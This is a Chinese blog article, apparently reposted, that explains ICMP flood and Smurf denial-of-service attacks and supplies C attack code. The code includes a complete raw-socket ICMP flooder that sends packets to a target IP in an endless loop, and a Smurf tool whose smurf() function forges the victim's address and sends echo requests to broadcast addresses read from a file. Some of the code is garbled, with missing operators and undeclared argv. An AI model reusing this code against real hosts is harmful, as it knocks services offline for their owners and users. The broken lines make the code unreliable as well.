原始套接字透析之ICMP拒绝服务攻击
ICMP实现拒绝服务攻击的途径有二:一者"单刀直入",一者"借刀杀人"。具体过程分析如下:
ICMP FLOOD攻击
大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小 于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。
调用下面的程序可实现ICMP Flood攻击:
int icmpFlood(int PacketSize, char *DestIp, int type, int code)
{
int datasize, ErrorCode;
int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
char SendBuf[65535] = { 0 };
WSADATA wsaData;
SOCKET SockRaw = (SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
if (PacketSize > 65500)
{
return FALSE;
}
if (type > 16)
{
return FALSE;
}
if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
{
return FALSE;
}
if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
return FALSE;
}
ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
if (ErrorCode == SOCKET_ERROR)
{
return FALSE;
}
printf("Starting...\n\n");
memset(&DestAddr, 0, sizeof(DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr(DestIp);
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount();
icmp_header.i_seq = 999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf + sizeof(icmp_header), 'E', PacketSize);
icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);
datasize = sizeof(icmp_header) + PacketSize;
while (1)
{
printf("Sending 1024 packets...\n");
for (counter = 0; counter < 1024; counter++)
{
ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
if (ErrorCode == SOCKET_ERROR)
printf("\nSend Error:%d\n", GetLastError());
}
}
if (SockRaw != INVALID_SOCKET)
closesocket(SockRaw);
WSACleanup();
return TRUE;
}
ICMP SMURF
攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:
从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照 样威力无穷。
一个实现ICMP SMURF的程序框架如下:
void icmpSmurf(void)
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);
//…
memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
//…
x = 0;
while (!feof(bcastfile))
{
fgets(buf, 32, bcastfile);
if (buf[0] == '#' buf[0] == '\n' !isdigit(buf[0]))
continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n')
buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);
if (x == 0)
{
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit( - 1);
}
if (pktsize > 1024)
{
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit( - 1);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("getting socket");
exit( - 1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (i = 0; i < num !num; i++)
{
if (!(i % 25))
{
printf(".");
fflush(stdout);
}
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0)
cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}
其中调用的smurf()函数为:
void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr*)packet;
icmp = (struct icmphdr*)(packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize);
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0,
(struct sockaddr*) &sin, sizeof(struct sockaddr));
free(packet);
}
转载于:https://www.cnblogs.com/jinrize/archive/2009/10/05/1578311.html
原始套接字透析之ICMP拒绝服务攻击相关推荐
- 利用ICMP协议,使用python原始套接字实现主机存活探测工具
一.课题概述. 一学期一次的课程设计终于开始了(停课两周,马上放寒假了,哈哈哈哈哈哈...)这次我们课程设计的科目是计算机协议,我们小组抽到的题目是利用ICMP模仿ping命令写一个主机存活探测的工具 ...
- Linux原始套接字学习总结
Linux网络编程:原始套接字的魔力[上] http://blog.chinaunix.net/uid-23069658-id-3280895.html 基于原始套接字编程 在开发面向连 ...
- Linux原始套接字实现分析---转
http://blog.chinaunix.net/uid-27074062-id-3388166.html 本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核 ...
- 第13章 原始套接字
对于: 发送一个自定义的IP包. 发送ICMP数据报. 网卡的侦听模式,监听网络上的数据包. 伪装IP地址. 自定义协议的实现. 要解决这些问题,需要原始套接字.原始套接字主要应用在底层网络编程上. ...
- 网络编程——原始套接字实现原理
目录 1. 基础知识 1.1.概述 1.2.链路层原始套接字 1.3.网络层原始套接字 2.原始套接字的实现 2.1 原始套接字报文收发流程 2.2链路层原始套接字的实现 2.2.1 套接字创建 ...
- linux 原始套接字 绑定网卡,Linux原始套接字实现分析
之所以要转这篇文章,是因为这篇文章是我看到的同类博客中写得最好的,但非常可惜,这篇博客中只有一篇文章,没有什么收藏价值,故将其原文转载,以供今后学习查阅. 本文从IPV4协议栈原始套接字的分类入手,详 ...
- linux 原始套接字实现分析
目录 1 原始套接字概述 1.1 链路层原始套接字 1.2 网络层原始套接字 1.2.1 接收报文 1.2.2 发送报文 2 原始套接字实现 2.1 原始套接字报文收发流程 2.2 链路层原始套接字 ...
- 002.ICMP--拼接ICMP包,实现简单Ping程序(原始套接字)
一.大致流程: 将ICMP头和时间数据设置好后,通过创建好的原始套接字socket发出去.目的主机计算效验和后会将数据原样返回,用当前时间和返回的数据结算时间差,计算出rtt. 二.数据结构: ICM ...
- 原始套接字SOCK_RAW
实际上,我们常用的网络编程都是在应用层的报文的收发操作,也就是大多数程序员接触到的流式套接字(SOCK_STREAM)和数据包式套接字(SOCK_DGRAM).而这些数据包都是由系统提供的协议栈实现, ...
最新文章
- zen3架构_AMD Zen3架构处理器的L3缓存或将翻倍到64MB
- linux本地agent执行脚本_github 4.4K星|马哥教育企业教练团队研发一款轻量级、无Agent自动化运维平台...
- 改变图像,运用match方法判断
- ASP.NET MVC Framework体验(2):显示列表数据
- C API可使用的函数归纳
- Laravel API记录
- Java双大括号_什么是Java中的双BRACE初始化?
- 一般项目中是如何调bug的 ------- 手把手带你体验整个流程
- Python——pip批量安装和卸载package
- leetcode 最后一个单词的长度
- python迭代-可迭代对象与迭代器对象
- Intel® Nehalem/Westmere架构/微架构/流水线 (1) - 特性概述
- 史上最大,人工智能算法模型GPT-3问世,这意味着什么?
- codeigniter配置
- Springboot集成Screw生成数据库表结构文档
- JS网页特效实例:动态关闭页面
- Leaflet中Maker碰撞监测
- 单目视觉标定(1)原理解析
- [弱校联萌2016]2016弱校联盟十一专场10.2
- MSM下串口扩展wk2114
热门文章
- [bowtie2, libtbb.so.2]error while loading shared libraries: libtbb.so.2: cannot open shared object
- base64照片压缩
- 深度学习与“免费”GPU
- 后缀是lnk是什么文件_后缀lnk是什么文件格式(lnk文件怎么恢复word)
- 深度学习中的算法学习与记忆,利用故事联想帮助大家记忆,每个人都会
- Oracle 无备份情况恢复ocr和olr
- 重磅!谷歌发布《深度学习调优手册》!Hinton转发点赞!
- 3.《解读基金:我的投资观与实践》读书笔记
- in unnamed module of loader
- linux全角和半角的切换,全角和半角